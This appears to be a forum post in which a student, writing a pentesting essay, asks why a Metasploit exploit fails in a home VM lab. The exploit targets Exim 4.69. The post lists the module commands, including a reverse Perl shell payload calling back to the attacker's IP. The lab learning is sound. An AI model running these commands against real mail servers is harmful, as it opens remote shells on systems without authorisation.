Okay well in class i have to write a essay on Info Sec Pentesting
So im doing mine one The Vulnerabilities of Linux Operating Systems to potential known threats
One exploit i saw that was a critical hit during its time was the Exim 4.69 Exploit
So i setup a VM network im running BT5 and i have Debian kernel Year 2010 running with Exim 4.69 default production state no installations. Well Except settig up Exim to work but other then that , thats it
I went to my Backtrack and typed in
Code:
use exploit/unix/smtp/exim4_string_format
set LHOST my ip
set RHOST VM ip
set PAYLOAD cmd/unix/reverse_perl
exploit
everything goes as planned until it gets to that part and displays that error
i installed Exim 4.69 , PostFix, Smart Host , configured to allow AUTH , even configured them all to run through a SMTP on GMail
and it still does not work
What exactly am i doing wrong here
